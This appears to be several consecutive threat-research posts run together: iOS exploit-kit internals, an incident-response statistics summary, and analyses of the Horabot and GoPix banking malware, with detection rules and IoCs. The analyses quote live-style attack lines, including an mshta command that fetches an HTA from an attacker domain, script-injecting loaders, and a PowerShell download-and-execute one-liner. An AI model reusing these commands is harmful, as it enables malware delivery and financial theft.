The files inside these packages are also stored in encrypted and compressed 0xF00DBEEF containers, but this time compression is optional and is determined by the second bit in the Flags field. Different packages contain different sets of files. A description of all possible File IDs is given in the table below.

Observed File IDs

File ID	Description
0x10000	Implant
0x50000	Mach-O loader (default)
0x70000	List of additional components
0x70005	Launcher config
0x80000	Launcher in 0xF2/0xF3 packages, or Mach-O loader in 0xA2/0xA3
0x90000	Kernel exploit
0x90001	Kernel exploit (for Mach-O loader)
0xA0000	Logs cleaner
0xA0001	Mach-O loader component
0xA0002	Mach-O loader component
0xF0000	RPC stager

After downloading the necessary components, the payload begins executing kernel exploits, Mach-O loaders, and the malware launcher. The payload selects an appropriate Mach-O loader based on the firmware version, CPU, and presence of the iokit-open-service permission.

Kernel exploits

We analyzed all five kernel exploits from the kit and discovered that one of them is an updated version of the same exploit we discovered in Operation Triangulation. There are many small changes, but the most noticeable are as follows:

• The code takes into account more values ​​from XNU version strings, allowing for more accurate version checking.
• Added a check for iOS 17.2. We assume that this was the latest version of iOS at the time of development (released in December 2023).
• Added checks for newer Apple processors: A17, M3, M3 Pro, M3 Max (released in fall 2023).
• Added a check for iOS version 16.5 beta 4. This version patched the exploit after our report to Apple.

Why does the exploit need to check for iOS 17.2 and newer CPUs if the targeted vulnerabilities were fixed in iOS 16.5 beta 4? The answer can be found by examining other exploits: they are all based on the same source code. The only difference is in the vulnerabilities they exploit, so these checks were added to support the newer exploits and appeared in the older version after recompilation.

Launcher

The launcher is responsible for orchestrating the post-exploitation activities. It also uses the kernel exploit and the interface it provides. However, since the exploit creates special kernel objects during its execution that provide the ability to read and write to kernel memory, the launcher simply reuses these objects without the need to trigger vulnerabilities and go through the entire exploitation path again. The launcher cleans up exploitation artifacts, retrieves the process name for injection from a config with the 0xDEADD00F magic number, injects a stager into the target process, uses it to execute itself, and launches the implant.

Conclusions

This case demonstrates once again the dangers associated with such malicious tools that lie in their potential wide usage. Originally developed for cyber-espionage purposes, this framework is now being used by cybercriminals of a broader kind, placing millions of users with unpatched devices at risk. Given its modular design and ease of reuse, we expect that other threat actors will begin incorporating it into their attacks. We strongly recommend that users install the latest security updates as soon as possible, if they have not already done so.

Kaspersky Security Services provide a comprehensive cybersecurity ecosystem, taking enterprise threat protection to another level. Services like Kaspersky Managed Detection and Response and Compromise Assessment allow for timely detection of threats and cyberattacks. SOC Consulting provides a practical approach ensuring the corporate infrastructure stays secured, while Incident Response is suited for timely remediation with a maximized recovery rate.

This new report brings together statistics across regions and industries from our Managed Detection and Response and Incident Response services, and for the first time, it also includes insights from our Compromise Assessment and SOC Consulting services — all to provide you with more comprehensive view of different aspects of corporate information security worldwide.

The scope of MDR and IR services

Provision of Kaspersky’s MDR and IR services follows a global approach. The majority of customers accounted for the CIS (34.7%), the Middle East (20.1%), and Europe (18.6%).

MDR telemetry

Following the previous year’s numbers, in 2025, the MDR infrastructure received and processed an average of 15,000 telemetry events per host every day, generating security alerts as a result. These alerts are first processed by AI-powered detection logic, after which Kaspersky SOC analysts handle them as required. Overall, a total of approximately 400,000 alerts were generated in 2025. After counting out false positives, 39,000 alerts were further investigated.

Incident statistics

The distribution of remediation requests by industry has slightly changed as compared to previous years’ pattern. Government (18.5%) and industrial (16.6%) organizations are still the most targeted industries in regards to cyberattacks that require incident response activities. However, this year, the IT sector saw a growth in the number of IR requests, eventually being placed third in the overall industry distribution rankings and thus replacing financial organizations, which were targeted less often than in 2024. This is equally true for smaller-scale attacks that can be contained and remediated through automated means — the only difference is that medium- and low-severity incidents are more often experienced by financial organizations.

Key trends and statistics

This section presents key findings and trends in cyberattacks in 2025:

• The number of high-severity incidents decreased, following a downward trend that we’ve been observing since 2021. The majority of those incidents account for APT attacks and red teaming exercises, which indicates two landscape trends. On the one hand, skilled adversaries make efforts to increase impact, while on the other, organizations spend more resources on probing their defense systems.
• The most common vulnerabilities exploited in the wild were related to Microsoft products. Half of all identified CVEs led to remote code execution, notably without authentication in some cases.
• Exploitation of public-facing applications, valid accounts, and trusted relationships remain the most popular initial vectors, and their overall share has increased, accounting to over 80% of all attacks in 2025. In particular, attacks through trusted relationships are evolving: their share has increased to 15.5% from 12.8% in 2024. They are also becoming more complex: for instance, we witnessed a case where adversaries had compromised more than two organizations in sequence to ultimately gain access to a third target.
• Standard Windows utilities remain a popular LotL tool. Adversaries use those to minimize the risk of detection during delivery to a compromised system. The most popular LOLBins we observed in high-severity incidents were powershell.exe (14.4%), rundll32.exe (5.9%), and mshta.exe (3.8%). Among the most popular legitimate tools used in incidents we flag Mimikatz (14.3%), PowerShell (8.1%), PsExec (7.5%), and AnyDesk (7.5%).

The full 2026 Global Report provides additional information about cyberattacks, including real-world cases discovered by Kaspersky experts. We also describe SOC Consulting projects and Compromise Assessment requests. The report includes comprehensive analysis of initial attack vectors in correlation with the MITRE ATT&CK tactics and techniques and the full list of vulnerabilities that we detected during Incident Response engagements.

Introduction

In this installment of our SOC Files series, we will walk you through a targeted campaign that our MDR team identified and hunted down a few months ago. It involves a threat known as Horabot, a bundle consisting of an infamous banking Trojan, an email spreader, and a notably complex attack chain.

Although previous research has documented Horabot campaigns (here and here), our goal is to highlight how active this threat remains and to share some aspects not covered in those analyses.

The starting point

As usual, our story begins with an alert that popped up in one of our customers’ environments. The rule that triggered it is generic yet effective at detecting suspicious mshta activity. The case progressed from that initial alert, but fortunately ended on a positive note. Kaspersky Endpoint Security intervened, terminated the malicious process (via a proactive defense module (PDM)) and removed the related files before the threat could progress any further.

The incident was then brought up for discussion at one of our weekly meetings. That was enough to spark the curiosity of one of our analysts, who then delved deeper into the tradecraft behind this campaign.

The attack chain

After some research and a lot of poking around in the adversary infrastructure, our team managed to map out the end-to-end kill chain. In this section, we will break down each stage and explain how the operation unfolds.

Stage 1: Initial lure

Following the breadcrumbs observed in the reported incident, the activity appears to begin with a standard fake CAPTCHA page. In the incident mentioned above, this page was located at the URL https://evs.grupotuis[.]buzz/0capcha17/ (details about its content can be found here).

Similar to the Lumma and Amadey cases, this page instructs the user to open the Run dialog, paste a malicious command into it and then run it. Once deceived, the victim pastes a command similar to the one below:

mshta https://evs.grupotuis[.]buzz/0capcha17/DMEENLIGGB.hta

This command retrieved and executed an HTA file that contained the following:

It is essentially a small loader. When executed, it opens a blank window, then immediately pulls and runs an external JavaScript payload hosted on the attacker’s domain. The body contains a large block of random, meaningless text that serves purely as filler.

Stage 2: A pinch of server-side polymorphism

The payload loaded by the HTA file dynamically creates a new <script> element, sets its source to an external VBScript hosted on another attacker-controlled domain, and injects it into the <head> section of a page hardcoded in the HTA. You can see the full content of the page in the box below. Once appended, the external VBScript is immediately fetched and executed, advancing the attack to its next stage.

var scriptEle = document.createElement("script");
scriptEle.setAttribute("src", "https://pdj.gruposhac[.]lat/g1/ld1/"); 
scriptEle.setAttribute("type", "text/vbscript"); 
document.getElementsByTagName('head')[0].appendChild(scriptEle);

The next-stage VBS content resembles the example shown below. During our analysis, we observed the use of server-side polymorphism because each access to the same resource returned a slightly different version of the code while preserving the same functionality.

The script is obfuscated and employs a custom string encoding routine. Below is a more readable version with its strings decoded and replaced using a small Python script that replicates the decode_str() routine.

The script performs pretty much the same function as the initial HTA file. It reaches a JavaScript loader that injects and executes another polymorphic VBScript.

var scriptEle = document.createElement("script");
scriptEle.setAttribute("src", "https://pdj.gruposhac[.]lat/g1/"); 
scriptEle.setAttribute("type", "text/vbscript"); 
document.getElementsByTagName('head')[0].appendChild(scriptEle);

Unlike the first script, this one is significantly more complex, with more than 400 lines of code. It acts as the heavy lifter of the operation. Below is a brief summary of its key characteristics:

• Heavy obfuscation: the script uses multiple layers of obfuscation to obscure its behavior.
• Custom string decoder: employs the same decoding routine found in the first VBScript to reconstruct strings at runtime.
• Anti-VM and “anti-Avast”: performs basic environment checks and terminates if a specific Avast folder or VM artifacts are detected.
• Information gathering and exfiltration: collects the host IP, hostname, username, and OS version, then sends this data to a C2 server.
• Download of additional components: retrieves an AutoIt executable, its compiler (Aut2Exe), a script (au3), and a blob file, placing them under the hardcoded path C:\Users\Public\LAPTOP-0QF0NEUP4.
• PowerShell command execution: executes PowerShell commands that reach out to two different URLs (one unavailable and the other leading to the first stager of the spreader, which we describe later in this article).
• Persistence setup: creates a LNK file and drops it into the Startup folder to maintain persistence.
• Cleanup routines: removes temporary files and terminates selected processes.

During our analysis of the heavy lifter, specifically within the exfiltration routine, we identified where the collected data was being sent. After probing the associated URL and removing the “salvar.php” portion, we uncovered an exposed webpage where the adversary listed all their victims.

As you may have noticed, the table is in Brazilian Portuguese and lists victims dating back to May 2025 (this screenshot was taken in September 2025). In the “Localização” (location) column, the adversary even included the victims’ geographic coordinates, which are redacted in the screenshot. A quick breakdown shows that, of the 5384 victims, 5030 were located in Mexico, representing roughly 93% of the total.

Stage 3: The evil combination of AutoIT and a banking Trojan

It is now time to focus on the files downloaded by our heavy lifter. As previously mentioned, three AutoIT components were dropped on disk: the executable (AutoIT3), the compiler (Aut2Exe), and the script (au3), along with an encrypted blob file. Since we have access to the AutoIt script code, we can analyze its routines. However, it contains over 750 lines of heavily obfuscated code, so let’s focus only on what really matters.

The most important routine is responsible for decrypting the blob file (it uses AES-192 with a key derived from the seed value 99521487), loading it directly into memory, and then calling the exported function B080723_N. The decrypted blob is a DLL.

We also managed to replicate the decryption logic with a Python script and manually extract the DLL (0x6272EF6AC1DE8FB4BDD4A760BE7BA5ED). After initial triage and basic sandbox execution, we observed the following:

• The sample is a well-known Delphi banking Trojan detected by several engines under different names, such as Casbaneiro, Ponteiro, Metamorfo, and Zusy.

• It embeds two old OpenSSL libraries (libeay32.dll and ssleay32.dll) from the Indy Project, an open-source client/server communications library used to establish client/server HTTPS C2 communication.

• It includes SQL commands used to harvest credentials from browsers.

Once loaded into memory, the Trojan sends several HTTP requests to different URLs:

URL	Description
https://cgf.facturastbs[.]shop/0725/a/home (GET)	A page containing an encrypted configuration
https://cfg.brasilinst[.]site/a/br/logs/index.php?CHLG (POST)	A URL for posting host information, but in our lab tests the value was empty. Request content example: Host: ‘ ‘
https://aufal.filevexcasv[.]buzz/on7/index15.php (POST) https://aufal.filevexcasv[.]buzz/on7all/index15.php (POST)	A URL used to post victim information Request content example: AT: ‘ Microsoft Windows 10 Pro FLARE-VM (64)bit REMFLARE-VM’ MD: 040825VS
https://cgf.facturastbs[.]shop/a/08/150822/au/at.html	HTML lure page designed to trick the user into accessing a malicious link whose contents are also used as a PDF attachment during the email distribution phase.
https://upstar.pics/a/08/150822/up/up (GET)	The resource was already unavailable at the time our testing was conducted.
https://cgf.midasx.site/a/08/150822/au/au (GET)	The page containing the first stage leading to the spreader.

Since this malware family has been extensively documented in previous studies, we won’t reiterate its well-known functionality. Instead, we’ll focus on lesser-documented and newly observed features, including the malware’s encryption and protocol handling logic.

The sample implements a stateful XOR-subtraction cipher in the sub_00A86B64 subroutine, which is used to protect strings and decrypt HTTP data received from the C2. Unlike simple XOR, each byte of output here depends on both the key and the previous byte. In our sample, the key is the string "0xFF0wx8066h".

We can easily reimplement the logic of the routine in Python and integrate the following snippet into our workflow to automate string decryption:

def decrypt_string(encrypted_hex):
    key_string = "0xFF0wx8066h"
    key_index = 0
    result = ""
    
    current_key = int(encrypted_hex[0:2], 16)
    
    i = 2
    while i < len(encrypted_hex):
        next_key = int(encrypted_hex[i:i+2], 16)
        if key_index >= len(key_string):
            key_index = 0
        key_char = ord(key_string[key_index])
        xored_value = next_key ^ key_char
        
        if xored_value > current_key:
            decrypted_char = xored_value - current_key
        else:
            decrypted_char = (xored_value + 0xFF) - current_key
        
        result += chr(decrypted_char)
        current_key = next_key
        key_index += 1
        i += 2
    
    return result

Python implementation of the decryption routine

The encrypted strings are retrieved in three different ways: through indexed lookups using a global encrypted Delphi string list (also observed by our colleagues at ESET); via direct references to encrypted hex strings in the data section; through indirect references using pointer variables, adding an overhead when automating decryption with scripts.

The malware fetches its configuration by performing an HTTPS GET request to the hardcoded, encrypted C2 server. The server responds with a configuration, which is a raw HTTP response, consisting of several values, each individually encrypted with the aforementioned algorithm. The sample extracts specific parameters based on their position in the list.

To improve readability, the above screenshot has been edited to include the decrypted parameters, which are separated by double newlines.

Configuration retrieval and parsing are initiated in the sub_00AD2C70 subroutine where the first configuration value, the C2 socket connection setting (host;port), is extracted.

If parsing fails, the malware falls back to a hardcoded secondary C2 socket address. The socket connection is then established.

Additional configuration values are parsed in sub_00AD2918 and its subroutines. For example, in the decrypted C2 configuration shown above, parameter 5 contains the “UPON” string that triggers execution, and parameter 6 contains the PowerShell commands that are run when this string is used. Below is the portion of the routine that takes care of parsing this command:

In addition to HTTP communication, the malware supports raw socket communication using a custom protocol that encapsulates commands into tags such as <|SIMPLE_TAG|> or <|TAG|>Arg1<|>Arg2<<|>.

The client initiates the C2 connection in sub_00AD331C, where it establishes a TCP socket to the operator’s server and sends the "PRINCIPAL" command to request a control channel. After receiving an OK response, it follows up with an "Info" message containing system details. Once validated, the server replies with a "SocketMain" message containing a session ID, completing the handshake. All subsequent command handling occurs in sub_00AD373C, a central orchestrator routine that parses incoming messages and dispatches the malicious actions.

The sample, and therefore the protocol itself, is inherited, from the open-source Delphi Remote Access PC project, as our colleagues at ESET have noted in the past. Below is a visual comparison:

Some features from the open-source project, including the chat and file manipulation commands, have been removed, while some mouse-related commands have been renamed with playful prefixes like “LULUZ” (e.g., LULUZLD, LULUZPos). This could be an inside joke, anti-analysis obfuscation, or a way to mark custom variants. Beyond the standard functionality, the protocol now includes a range of additional custom commands, such as LULUZSD for mouse wheel scrolling down, ENTERMANDA to simulate pressing the Enter key, and COLADIFKEYBOARD to inject arbitrary text as keystrokes.

The full command set is considerably larger, and while not all commands are implemented in the analyzed sample, evidence of their presence (e.g., in the form of strings) suggests ongoing development.

After getting a sense of the protocol, let’s focus on the cipher used. In this sample, traffic exchanged via the C2 socket channel is encrypted using another stateful XOR algorithm with embedded decryption keys. Its logic is implemented in the routines sub_00A9F2D0 (encryption) and sub_00A9F5C0 (decryption):

The encryption routine generates three random four-digit integer keys. The first key acts as the initial cipher state, while the other two serve as the multiplier and increment that are applied at every encryption stage to both the state and the data. For each character in the input string, it takes the high byte of the current state, XORs it with the character to encrypt, and then updates the cipher state for the next character. The output is created by prepending the three keys to the ciphertext, encapsulating everything within the “##” markers. The final output looks like this:

##[key1][key2][key3][encrypted_hex_data]##

Here’s a Python snippet to decode such traffic:

def deobfuscate_traffic(obfuscated):
    if not (obfuscated.startswith("##") and obfuscated.endswith("##")):
        raise ValueError("Invalid format")

    core = obfuscated[2:-2]
    
    key1 = int(core[0:4])
    key2 = int(core[4:8])
    key3 = int(core[8:12])
    
    hex_data = core[12:]
    
    current_key = key1
    output_chars = []
    
    for i in range(0, len(hex_data), 2):
        xored = int(hex_data[i:i+2], 16)
        
        high_byte = (current_key >> 8) & 0xFF
        original_char = chr(xored ^ high_byte)
        output_chars.append(original_char)
        
        current_key = ((current_key + xored) * key2 + key3) & 0xFFFF
    
    return "".join(output_chars)

Although this encryption layer was likely intended to evade network inspection, it ironically makes detection easier due to its highly regular and repetitive structure. This pattern, including the external markers “##”, is uncommon in legitimate traffic and can be used as a reliable network signature for IDS/IPS systems. Below is a Suricata rule that matches the described structure:

alert tcp any any -> any any ( \
    msg:"Horabot C2 socket communication (##hex##)"; \
    flow:established; \
    content:"##"; depth:2; fast_pattern; \
    content:"##"; endswith; \
    pcre:"/^##[1-9][0-9]{3}[1-9][0-9]{3}[1-9][0-9]{3}[0-9A-F]+##$/"; \
    classtype:trojan-activity; \
    sid:1900000; \
    rev:1; \
    metadata:author Domenico; \
)

As documented by our colleagues at Fortinet, the malware contains functionality to display fake pop-ups prompting victims to enter their banking credentials. The images for these pop-ups are stored as encrypted resources. Unlike strings, resources are decrypted using the standard RC4 cipher, and the key pega-avisao3234029284 is retrieved from the previous TStringList structure at offset 3FEh.

The wordplay around “pega a visão”, Brazilian slang meaning “get the picture” figuratively, reveals an intentional cultural reference, supporting the already well-known Brazilian ties of the operators who have a native understanding of the language.

Below is a collage of pictures where the targeted bank overlays are visible.

Stage 4: The spreader

In our tests, we noticed that both the VBScript (the heavy lifter) and the Delphi DLL have overlapping functionality for downloading the next stage via PowerShell. Although they rely on different domains, they follow the same URL pattern.

We tried accessing URLs meant for downloading the spreader. One returned nothing, while the other displayed a sequence of two PowerShell stagers before reaching the actual spreader.

In the second stager, we found several Base64-encoded URLs, but only one of them was active during our analysis. Based on comments found in the spreader code, we suspect that in previous versions or campaigns the spreader was assembled piece by piece from these other URLs. In our case, however, a single URL contained all the necessary code.

Yes, we also wondered how PowerShell could possibly accept ASCII chaos as variable/function names, but it does. After cleaning up the messy naming convention and reviewing the well-commented routines (thanks, threat actor), we were able to identify its main duties:

• Harvest emails via the MAPI namespace;
• Exfiltrate unique email addresses to the C2;
• Clean up the outbox;
• Filter the exfiltrated email addresses against a blocklist of keywords;
• Prepare a phishing email containing a malicious PDF;
• Mass-distribute the email to the filtered addresses.

One interesting point is that the spreader’s code and comments allow us to extract some useful intel:

• All comments are written in Brazilian Portuguese, which gives a strong indication of the threat actor’s origin.
• It is fairly easy to distinguish comments written by a human from those most likely generated by an AI/LLM; the latter are too formal and remarkably well-formatted. One of the human comments actually inspired the title of this article.
• One of the comments in the code reads “limpa a caixa de saida antes de sapecar”. Sapecar has a very specific meaning that only Brazilian Portuguese speakers would naturally understand. The closest equivalent to this comment in English would be: “Clear the outbox before you blast it off or let it rip.”

Our team tracked Horabot activity for a few months and compiled a collection of malicious attachment examples used in this campaign. They are all written in Spanish and urge the user to click a large button in the document to access a “confidential file” or an “invoice”. Clicking the button triggers the same infection chain described in this article.

Detection engineering and threat hunting opportunities

After navigating this long, layered attack chain, we bet some of the tech folks reading this have already started imagining potential detection opportunities.
With that in mind, this section provides some rules and queries that you can use to detect and hunt this threat in your own environment.

YARA rules

The YARA rules focus on two core components of the operation: the AutoIt script that functions as the loader, and the Delphi DLL that serves as the banking Trojan.

import "pe"

rule Horabot_Delphi_Trojan
{
    meta:
        author = "maT"
        description = "Detects Horabot payload/trojan (Delphi DLL)"
        hash_01 = "6272ef6ac1de8fb4bdd4a760be7ba5ed"
        hash_02 = "4caa797130b5f7116f11c0b48013e430"
        hash_03 = "c882d948d44a65019df54b0b2996677f"

    condition:
        uint32be(0) == 0x4d5a5000 and 
        filesize < 150MB and 
        pe.is_dll() and
        pe.number_of_exports == 4 and
        pe.exports("dbkFCallWrapperAddr") and
        pe.exports("__dbk_fcall_wrapper") and
        pe.exports("TMethodImplementationIntercept") and
        pe.exports(/^[A-Z][0-9]{6}_[A-Z0-9]$/)
}

rule Horabot_AutoIT_Loader
{
    meta:
        author = "maT"
        description = "Detects AutoIT script used as a loader by Horabot"
    
    strings:
        $winapi_01 = "Advapi32.dll"
        $winapi_02 = "CryptDeriveKey"
        $winapi_03 = "CryptDecrypt"
        $winapi_04 = "MemoryLoadLibrary"
        $winapi_05 = "VirtualAlloc"
        $winapi_06 = "DllCallAddress"

        $str_seed = "99521487"
        $str_func01 = "B080723_N"
        $str_func02 = "A040822_1"

        $opt_hexstr01 = { 20 3D 20 22 ?? ?? ?? ?? ?? ?? ?? 5F ?? 22 20 0D 0A 4C 6F 63 61 6C 20 24} // = "B080723_N" CRLF Local $
        $opt_aes192 = "0x0000660f" // CALG_AES_192
        $opt_md5 = "0x00008003" // CALG_MD5      

    condition:
        filesize < 100KB and
        all of ($winapi*) and
        (
            1 of ($str*) or
            all of ($opt*)
        )

}

Hunting queries

You may notice that some patterns in this section do not appear in the URLs described earlier in the article. These additional patterns were included because we observed small variations introduced by the threat actor over time, such as the use of QR codes in the lure pages.

VirusTotal Intelligence	entity:url (url:”0DOWN1109″ or url:”0QR-CODE” or url:”0zip0408″ or url:”0out0408″ or url:”0capcha17″ or url:”/g1/ld1/” or url:”/g1/auxld1″ or url:”/au/gerapdf/blqs1″ or url:”/au/gerauto.php” or url:”g1/ctld” or url:”index25.php” or url:”07f07ffc-028d” or url:”0AT14″ or url:”0sen711″) or (url:”index15.php” and (url:”/on7″ or url:”/on7all” or url:”/inf”))
URLScan	page.url.keyword:/.*\/([0-9]{6}|reserva)\/(au|up)\/.*/ OR page.url:(*0DOWN1109* OR *0QR-CODE* OR *0zip0408* OR *0out0408* OR *0capcha17* OR *\/g1\/ld1* OR *\/g1\/auxld1* OR *\/au\/gerapdf\/blqs1* OR *\/au\/gerauto.php* OR *\/g1\/ctld* OR *\/index25.php OR *\/index15.php)

IoCs

Indicator	Description
hxxps://evs.grupotuis[.]buzz/0capcha17/	Fake CAPTCHA page
hxxps://evs.grupotuis[.]buzz/0capcha17/DMEENLIGGB.hta	HTA file
hxxps://evs.grupotuis[.]buzz/0capcha17/DMEENLIGGB/GRXUOIWCEKVX	JavaScript Loader 01
hxxps://pdj.gruposhac[.]lat/g1/ld1/	VBS Polymorphic 01
hxxps://pdj.gruposhac[.]lat/g1/auxld1	JavaScript Loader 02
hxxps://pdj.gruposhac[.]lat/g1/	VBS Polymorphic 02 (heavy lifter)
hxxps://pdj.gruposhac[.]lat/g1/ctld/	List of victims
hxxps://pdj.gruposhac[.]lat/g1/gerador.php	Link to download AutoIT script
hxxps://cgf.facturastbs[.]shop/0725/a/home (GET)	List of C2 addresses encrypted
hxxps://cfg.brasilinst[.]site/a/br/logs/index.php?CHLG (POST)	Contacted by the Delphi DLL
hxxps://aufal.filevexcasv[.]buzz/on7/index15.php (POST) hxxps://aufal.filevexcasv[.]buzz/on7all/index15.php (POST)	Contacted by the Delphi DLL
hxxps://cgf.facturastbs[.]shop/a/08/150822/au/at.html	Contacted by the Delphi DLL
hxxps://labodeguitaup[.]space/a/08/150822/au/au hxxps://cgf.midasx[.]site/a/08/150822/au/au	PowerShell stager 01
hxxps://cgf.facturastbs[.]shop/a/08/150822/au/gerauto.php	PowerShell stager 02
hxxps://cgf.facturastbs[.]shop/a/08/150822/au/app	Link to download the spreader
hxxps://cgf.facturastbs[.]shop/a/08/150822/au/gerapdf/blqs1	List of blocklist keywords
hxxps://thea.gruposhac[.]space/0out0408	Link found in the button of the first malicious attachment
6272EF6AC1DE8FB4BDD4A760BE7BA5ED	Delphi DLL sample
lifenews[.]pro	C2 (socket)
64.177.80[.]44	C2 (socket)

Introduction

GoPix is an advanced persistent threat targeting Brazilian financial institutions’ customers and cryptocurrency users. It represents an evolved threat targeting internet banking users through memory-only implants and obfuscated PowerShell scripts. It evolved from the RAT and Automated Transfer System (ATS) threats that were used in other malware campaigns into a unique threat never seen before. Operating as a LOLBin (Living-off-the-Land Binary), GoPix exemplifies a sophisticated approach that integrates malvertising vectors via platforms such as Google Ads to compromise prominent financial institutions’ customers.

Our extensive analysis reveals GoPix’s capabilities to execute man-in-the-middle attacks, monitor Pix transactions, Boleto slips, and manipulate cryptocurrency transactions. The malware strategically bypasses security measures implemented by financial institutions while maintaining persistence and employing robust cleanup mechanisms to challenge Digital Forensics and Incident Response (DFIR) efforts.

GoPix has reached a level of sophistication never before seen in malware originating in Brazil. It’s been over three years since we first identified it, and it remains highly active. The threat is recognized for its stealthy methods of infecting victims and evading detection by security software, using new tricks to stay operable.

The threat differs in its behavior from the RATs already seen in other Brazilian families, such as Grandoreiro. GoPix uses C2s with a very short lifespan, which stay online only for a few hours. In addition, the attackers behind this threat abuse legitimate anti-fraud and reputation services to perform targeted delivery of its payload and ensure that they have not infected a sandbox or system used in analysis. They handpick their victims, financial bodies of state governments and large corporations.

The campaign leverages a malvertisement technique which has been active since December 2022. The strategic use of multiple obfuscation layers and a stolen code signing certificate showcases GoPix’s ability to evade traditional security defenses and steal and manipulate sensitive financial data.

The Brazilian group behind GoPix is clearly learning from APT groups to make malware persistent and hide it, loading its modules into memory, keeping few artifacts on disk, and making hunting with YARA rules ineffective for capturing them. The malware can also switch between processes for specific functionalities, potentially disabling security software, as well as executing a man-in-the-middle attack with a previously unseen technique.

Initial infection

Initial infection is achieved through malvertising campaigns. The threat actors in most cases use Google Ads to spread baits related to popular services like WhatsApp, Google Chrome, and the Brazilian postal service Correios and lure victims to malicious landing pages.

We have been monitoring this threat since 2023, and it continues to be very active for the time being.

GoPix malware campaign detections (download)

The initial infection vector is shown below:

When the user ends up on the GoPix landing page, the malware abuses legitimate IP scoring systems to determine whether the user is a target of interest or a bot running in malware analysis environments. The initial scoring is done through a legitimate anti-fraud service, with a number of browser and environment parameters sent to this service, which returns a request ID. The malicious website uses this ID to check whether the user should receive the malicious installer or be redirected to a harmless dummy landing page. If the user is not considered a valuable target, no malware is delivered.

However, if the victim passes the bot check, the malicious website will query the check.php endpoint, which will then return a JSON response with two URLs:

The victim will then be presented with a fake webpage offering to download advertised software, this being the malicious “WhatsApp Web installer” in the case at hand. To decide which URL the victim will be redirected to, another check happens in the JavaScript code for whether the 27275 port is open on localhost.

This port is used by the Avast Safe Banking feature, present in many Avast products, which are very popular in countries like Brazil. If the port is open, the victim is led to download the first-stage payload from the second URL (url2). It is a ZIP file containing an LNK file with an obfuscated PowerShell designed to download the next stage. If the port is closed, the victim is redirected to the first URL (url), which offers to download a fake WhatsApp executable NSIS installer.
At first, we thought this detection could lead the victim to a potential exploit. However, during our research, we discovered that the only difference was that if Avast was installed, the victim was led to another infection vector, which we describe below.

Infection chain

First-stage payload

If no Avast solution is installed, an executable NSIS installer file is delivered to the victim’s device. The attackers change this installer frequently to avoid detection. It’s digitally signed with a stolen code signing certificate issued to “PLK Management Limited”, also used to sign the legitimate “Driver Easy Pro” software.

The purpose of the NSIS installer is to create and run an obfuscated batch file, which will use PowerShell to make a request to the malicious website for the next-stage payload.

However, if the 27275 port is open, indicating the victim has an Avast product installed, the infection happens through the second URL. The victim is led to download a ZIP file with an LNK file inside. This shortcut file contains an obfuscated command line.

Deobfuscated command line:

WindowsPowerShell\v10\powershell (New-Object NetWebClient)UploadString("http://MALICIOUS/1/","tHSb")|$env:E -

The purpose of this command line is to download and execute the next-stage payload from the malicious URL referenced above.

It’s highly likely this method is used because Avast Safe Browser blocks direct downloads of executable files, so instead of downloading the executable NSIS installer, a ZIP file is delivered.

Once the PowerShell command from either the LNK or EXE file is executed, GoPix executes yet another obfuscated PowerShell script that is remotely retrieved (in the GoPix downloader image below, it’s defined as “PowerShell Script”).

Initial PowerShell script

This script’s purpose is to collect system information and send it to the GoPix C2. Upon doing so, the script obtains a JSON file containing GoPix modules and a configuration that is saved on the victim’s computer.

The information contained within this JSON is as follows:

• Folder and file names to be created under the %APPDATA% directory
• Obfuscated PowerShell script
• Encrypted PowerShell script ps
• Malicious code implant sc containing encrypted GoPix dropper shellcode, GoPix dropper, main payload shellcode and main GoPix implant
• GoPix configuration file pf

Once these files are saved, an additional batch file is also created and executed. Its purpose is to launch the obfuscated PowerShell script.

PSExecutionPolicyPreference=Unrestricted
powershell -File "$scriptPath"
exit

Obfuscated PowerShell script

Upon execution, the obfuscated PowerShell script decrypts the encrypted PowerShell script ps, starts another PowerShell instance, and passes the decrypted script through its stdin, so that the decrypted script is never loaded to disk.

Decrypted PowerShell script “ps”

The purpose of this memory-only PowerShell script is to perform an in-memory decryption of the GoPix dropper shellcode, GoPix dropper, main payload shellcode and main GoPix malware implant into allocated memory. After that, it creates a small piece of shellcode within the PowerShell process to jump to the GoPix dropper shellcode previously decrypted.

The GoPix dropper shellcode is built for either the x86 or x64 architecture, depending on the victim’s computer.

Shellcode

This shellcode is bundled with the malware and stays in encrypted form on disk. It is utilized at two separate stages of the infection chain: first to launch the GoPix dropper and subsequently to execute the main GoPix malware. We’ve observed two versions of this shellcode. The main difference is the old one resolves API addresses by their names, while the latest one employs a hashing algorithm to determine the address of a given API. The API hash calculation begins by generating a hash for the DLL name, and this resulting hash is then used within the function name to compute the final API hash.

The first time GoPix is dropped into memory through PowerShell, its structure is as follows:

1. Memory dropper shellcode
2. Memory dropper DLL
3. Main payload shellcode
4. Main payload DLL

Both DLLs have their MZ signature erased, which helps to evade detection by memory dumping tools that scan for PE files in memory.

GoPix dropper

When the main function from the dropper is called, it verifies if it is running within an Explorer.exe process; if not, it will terminate. It then sequentially checks for installed browsers — Chrome, Firefox, Edge, and Opera — retrieving the full path of the first detected browser from the registry key SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths. A significant difference from previously analyzed droppers is that this version encrypts each string using a unique algorithm.

After selecting the browser, the dropper uses direct syscalls to launch the chosen browser process in a suspended state. This allows it to inject the main GoPix shellcode and its parameters into the process. The injected shellcode is tasked with extracting and loading the main GoPix implant directly into memory, subsequently calling its exported main function. The parameters passed include the number 1, to trigger the main GoPix function, and the current Process ID, which is that of Explorer.exe.

Main GoPix implant

Clipboard stealing functionality

Boleto bancário was added as one of the targets to the malware’s clipboard stealing and replacing feature. Boleto is a popular payment method in Brazil that functions similarly to an invoice, being the second most popular payment system in the country. It is a standardized document that includes important payment information such as the amount due, due date, and details of the payee. It features a typeable line, which is a sequence of numbers that can be entered in online banking applications to pay. This line is what GoPix targets with its functionality. An example of such a line is “23790.12345 60000.123456 78901.234567 8 76540000010000”.

When GoPix detects a Pix or Boleto transaction, it simply sends this information to the C2. However, when a Bitcoin or Ethereum wallet is copied to the clipboard, the malware replaces the address with one belonging to the threat actor.

Unique man-in-the-middle attack

PAC (Proxy AutoConfig) files are nothing new; they’ve been used by Brazilian criminals for over two decades, but GoPix takes this to another level. While in the past, criminals used PAC files to redirect victims to a fake phishing page, the purpose of the PAC file in GoPix attacks is to manipulate the traffic while the user navigates the legitimate financial website.

